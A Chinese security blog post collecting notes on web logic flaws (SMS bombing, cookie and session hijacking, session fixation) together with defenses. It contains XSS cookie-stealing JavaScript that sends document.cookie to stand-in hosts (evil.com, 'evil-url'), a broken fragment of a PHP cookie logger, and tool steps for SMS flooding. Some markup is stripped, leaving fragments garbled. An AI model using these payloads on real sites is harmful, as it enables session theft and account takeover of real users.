博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
逻辑漏洞整理
阅读量:5265 次
发布时间:2019-06-14

本文共 3176 字,大约阅读时间需要 10 分钟。

短信轰炸

1.Fiddler抓包repeat2.burpsuite 修改 PHPSESSID ->字典爆破 如选择a-z3.burpsuite手机号遍历防御:设置图片验证码,每次获取短信验证码之间,先判定图片验证码的正确性。设置时间限制,前端按钮设置点击事件时间限制。设置服务器短信下发的时间间隔。设置每个手机号时间段内获取短信的次数

 Cookie劫持

http://www.a.com/test.php?abc="> evil.js content: var img = document.createElement("img"); img.src = "http://www.evil.com/log?"+escape(document.cookie); document.body.appendChild(img);  PS:log不一定要存在,因为在日志中会记录下这个过程上面演示的就是最基本的xss 劫持Cookie的过程, 当你拿到用户cookie后,怎么用它登录服务器呢?在这个过程,方法很多,这里有两种方法:Burpsuit proxy 修改cookieFirefox 插件 Data Tamper 截断请求修改cookie
IP: '.$ip.'
Data and Time: '.$time.'
Referer: '.$referer.'
'); fclose($fp);?>将上述保存到自己服务器上,1.php然后在XSS处写入:
View Code

Cookie欺骗

会话劫持(Session hijacking)

获取SessionID方式:       1 暴力破解:尝试各种Session ID,直到破解为止;       2、预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来;       3 窃取:使用网络嗅探,XSS攻击等方法获得。             第三种攻击方式通过捕获网络通信数据得到Session ID的,这种攻击可以通过SSL避免。本文主要分析的是应用层面的攻击方式及其防御方法。       目前有三种广泛使用的在Web环境中维护会话(传递Session ID)的方法:URL参数,隐藏域和Cookie。其中每一种都各有利弊,Cookie已经被证明是三种方法中最方便最安全的。从安全的观点,如果不是全部也是绝大多数针对基于Cookie的会话管理机制的攻击对于URL或是隐藏域机制同样适用,但是反过来却不一定,这就让Cookie成为从安全考虑的最佳选择。       使用Cookie而产生的一个风险是用户的Cookie会被攻击者所盗窃。如果Session ID保存在Cookie中,Cookie的暴露就是一个严重的风险,因为它能导致会话劫持。       最基本的Cookie窃取方式:XSS漏洞防御:       1、 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。       2、 关闭透明化Session ID。透明化Session ID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。       3、 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。       4、 关闭所有phpinfo类dump request信息的页面。       5、 使用User-Agent检测请求的一致性。但有专家警告不要依赖于检查User-Agent的一致性。这是因为服务器群集中的HTTP代理服务器会对User-Agent进行编辑,而本群集中的多个代理服务器在编辑该值时可能会不一致。  6、 加入Token校验。同样是用于检测请求的一致性,给攻击者制造一些麻烦,使攻击者即使获取了Session ID,也无法进行破坏,能够减少对系统造成的损失。但Token需要存放在客户端,如果攻击者有办法获取到Session ID,那么也同样可以获取到Token。       一旦站点中存在可利用的XSS漏洞,攻击者可直接利用注入的JS脚本获取Cookie,进而通过异步请求把存有Session ID的Cookie上报给攻击者。       var img = document.createElement('img');       img.src = 'http://evil-url?c=' +encodeURIComponent(document.cookie);       document.getElementsByTagName('body')[0].appendChild(img);
View Code

会话固定漏洞(Sessionid)

攻击者重置SessionID的方式:      跨站脚本攻击,如果是URL传递Session ID,还可以通过诱导的方式重置该参数,比如可以通过邮件的方式诱导用户去点击重置Session ID的URL,使用Cookie传递可以避免这种攻击。       使用Cookie来存放Session ID,攻击者可以在以下三种可用的方法中选择一种来重置Session ID。       1、 使用客户端脚本来设置Cookie到浏览器。大多数浏览器都支持用客户端脚本来设置Cookie的,例如document.cookie=”sessionid=123”,这种方式可以采用跨站脚本攻击来达到目的。防御方式可以是设置HttpOnly属性,但有少数低版本浏览器存在漏洞,即使设置了HttpOnly,也可以重写Cookie。所以还需要加其他方式的校验,如User-Agent验证,Token校验等同样有效。       2、 使用HTML的
标签加Set-Cookie属性。服务器可以靠在返回的HTML文档中增加
标签来设置Cookie。例如
,与客户端脚本相比,对
标签的处理目前还不能被浏览器禁止。       3、 使用Set-Cookie的HTTP响应头部设置Cookie。攻击者可以使用一些方法在Web服务器的响应中加入Set-Cookie的HTTP响应头部。如会话收养,闯入目标服务器所在域的任一主机,或者是攻击用户的DNS服务器。   这里还有一点需要注意,攻击者如果持有的是有效的SessionID,那么防御措施就一定得校验验证。如攻击者可以先到目标站点登录,获得有效的Session ID,然后再拿这个Session ID去重置目标用户的会话标识,那么这时候用户将会在不知情的情况下访问攻击者设定的合法会话(实际上登录的是攻击者的账号了)中,从而攻击者将有可能获取到目标用户的敏感信息。 防御方法:       1、 用户登录时生成新的Session ID。如果攻击者使用的会话标识符不是有效的,那么这种方式将会非常有效。如果不是有效的会话标识符,服务器将会要求用户重新登录。如果攻击者使用的是有效的Session ID,那么还可以通过校验的方式来避免攻击。       2、 大部分防止会话劫持的方法对会话固定攻击同样有效。如设置HttpOnly,关闭透明化Session ID,User-Agent验证,Token校验等。
View Code

 

转载于:https://www.cnblogs.com/AtesetEnginner/p/11210117.html

你可能感兴趣的文章
IOS常用加密GTMBase64
查看>>
CF889E Mod Mod Mod
查看>>
Cocos学习-----Cocos2Dx安装
查看>>
开发人员一定要加入收藏夹的网站(.NET、JAVA、SQL等)
查看>>
sublime text2和3怎么设置修改字体
查看>>
Vue.2.0.5-计算属性
查看>>
哈希表(链地址法插入删除)
查看>>
jmeter 分布式压测
查看>>
shell编写一键启动
查看>>
好记性不如烂笔头之 ——CP命令
查看>>
jQuery
查看>>
share团队冲刺6
查看>>
python中的线程
查看>>
XSS
查看>>
Windows 8让程序员们忧心忡忡
查看>>
st. from summer (持续更新&刷题记录)
查看>>
之前项目使用的轻量的goweb框架
查看>>
peewee 对 mysql 类型支持问题,并不支持bit
查看>>
suse系统卸载数据库实例
查看>>
java8--List排序
查看>>